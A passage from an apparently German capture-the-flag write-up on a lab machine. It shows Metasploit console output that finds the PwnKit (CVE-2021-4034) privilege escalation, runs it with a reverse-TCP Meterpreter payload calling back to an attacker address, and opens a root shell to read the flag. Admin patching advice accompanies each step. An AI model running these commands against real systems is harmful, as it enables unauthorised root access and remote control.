msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.125 - Collecting local exploits for x86/linux...
[*] 192.168.2.125 - 186 exploit checks are being tried...
[+] 192.168.2.125 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
^C[-] 192.168.2.125 - Post interrupted by the console user
[*] Post module execution completed
                    

**Analyse:** Das Modul `local_exploit_suggester` wird auf Meterpreter-Session 2 ausgeführt. Es sammelt Informationen über das Zielsystem (Kernel, installierte Software) und vergleicht sie mit einer Datenbank bekannter lokaler Exploits. Der Suggester identifiziert `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` als potenziell funktionierenden Exploit und meldet, dass das Ziel anfällig ist. Der Scan wird vom Benutzer abgebrochen (`^C`), nachdem der PwnKit-Exploit gefunden wurde.

**Bewertung:** Der Local Exploit Suggester bestätigt die PwnKit-Anfälligkeit, die bereits durch die manuelle SUID-Suche (`pkexec`) vermutet wurde. Dies gibt hohe Sicherheit, dass der Exploit funktionieren wird.

**Empfehlung (Pentester):** Laden und konfigurieren Sie das PwnKit-Exploit-Modul und führen Sie es gegen Session 2 aus.
**Empfehlung (Admin):** Patchen Sie die PwnKit-Schwachstelle (CVE-2021-4034) durch Aktualisierung von `policykit-1`. Führen Sie regelmäßig Schwachstellen-Scans auf Ihren Systemen durch.

  exploit: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
 Privilege Escalation
                    

**Analyse:** Organisatorische Notiz, die den ausgewählten Exploit und den Beginn der Eskalationsphase markiert.

**Bewertung:** Markiert den Übergang zur Ausführung des Exploits.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Proof of Concept (Root Shell)

Wir führen nun den PwnKit-Exploit (CVE-2021-4034) über Metasploit aus, um die Schwachstelle in `pkexec` auszunutzen und eine Shell mit Root-Rechten zu erlangen.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.105    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64

View the full module info with the info, or info -d command.
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.105
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4444
lport => 4444
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.qhdgkmub
[+] The target is vulnerable.
[*] Writing '/tmp/.ljrzmufglyq/ylzrzjzzer/ylzrzjzzer.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.ljrzmufglyq
[*] Sending stage (3045348 bytes) to 192.168.2.125
[+] Deleted /tmp/.ljrzmufglyq/ylzrzjzzer/ylzrzjzzer.so
[+] Deleted /tmp/.ljrzmufglyq/.vxkuomuex
[+] Deleted /tmp/.ljrzmufglyq
[*] Meterpreter session 3 opened (192.168.2.105:4444 -> 192.168.2.125:60968) at 2023-07-11 23:31:40 +0200
                    

**Analyse:** Der PwnKit-Exploit wird geladen und konfiguriert: * `use exploit/.../pwnkit...`: Lädt das Modul. * `options`: Zeigt die Konfigurationsoptionen. `SESSION` muss gesetzt werden. * `set session 2`: Zielt auf die bestehende Meterpreter-Session (als `bla1`). * `set lhost eth0`, `set lport 4444`: Konfiguriert den Listener für die neue Root-Shell. * `run`: Führt den Exploit aus. Metasploit bestätigt erneut die Anfälligkeit, lädt notwendige Dateien nach `/tmp` hoch, führt den Exploit aus, bereinigt die Dateien und meldet das erfolgreiche Öffnen einer neuen Meterpreter-Session (Session 3) mit Root-Rechten.

**Bewertung:** Root-Zugriff erfolgreich via PwnKit erlangt! Der Exploit funktionierte wie erwartet auf dem anfälligen System. Dies liefert den Proof of Concept für die Privilegieneskalation.

**Empfehlung (Pentester):** Interagieren Sie mit Meterpreter-Session 3, bestätigen Sie die Root-Rechte (`getuid`) und wechseln Sie zu einer Shell (`shell`), um die finale Flagge zu suchen.
**Empfehlung (Admin):** Patchen Sie PwnKit (CVE-2021-4034) durch Update von `policykit-1` *dringend*. Überwachen Sie `/tmp` und `pkexec`-Ausführungen.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 3406 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1001(bla1)
# cd ~
# ls
proof.txt
# cat proof.txt
_________        ___.                 ____  __.      .__       .__     __    _______      _____
\_   ___ \___.__.\_ |__   ___________|    |/ _| ____ |__| ____ |  |___/  |_  \   _  \    /  |  |
/    \  \<   |  | | __ \_/ __ \_  __ \      <  /    \|  |/ ___\|  |  \   __\ /  /_\  \  /   |  |_
\     \___\___  | | \_\ \  ___/|  | \/    |  \|   |  \  / /_/  >   Y  \  |   \  \_/   \/    ^   /
 \______  / ____| |___  /\___  >__|  |____|__ \___|  /__\___  /|___|  /__|    \_____  /\____   |
        \/\/          \/     \/              \/    \/  /_____/      \/              \/      |__|

flag = 1876056353cb2e6253fd0ce121ef1b3f

This flag is a proof that you got the root shell.
You have to submit your report contaning all steps you take to got root shell.
Send your report at our e-mail address : ctf@infosecwarrior.com & vishalbiswas420@gmail.com
                    

**Analyse:** In der neuen Meterpreter-Session (Session 3) wird mit `getuid` bestätigt, dass der Benutzer `root` ist. Mit `shell` wird eine interaktive Root-Shell geöffnet. Der `id`-Befehl bestätigt `uid=0(root)`. Der Pentester wechselt nach `/root` (`cd ~`), listet den Inhalt auf (`ls`) und findet `proof.txt`. Der Inhalt von `proof.txt` wird mit `cat` angezeigt und enthält ASCII-Art, eine Erfolgsnachricht und die Root-Flagge: `1876056353cb2e6253fd0ce121ef1b3f`.

**Bewertung:** Ziel erreicht! Die Root-Flagge wurde erfolgreich gefunden und ausgelesen. Der Penetrationstest ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Root-Flagge und den Angriffspfad (Python Code Injection -> Shell -> Meterpreter -> PwnKit).
**Empfehlung (Admin):** Beheben Sie die identifizierten Schwachstellen (Python Code Injection auf Port 56563, PwnKit/pkexec). Führen Sie eine gründliche Systemüberprüfung und Härtung durch.

  Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Erfolg.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

cat /home/raj/flag1.txt (decoded)
https://www.hackingarticles.in
cat /root/proof.txt
1876056353cb2e6253fd0ce121ef1b3f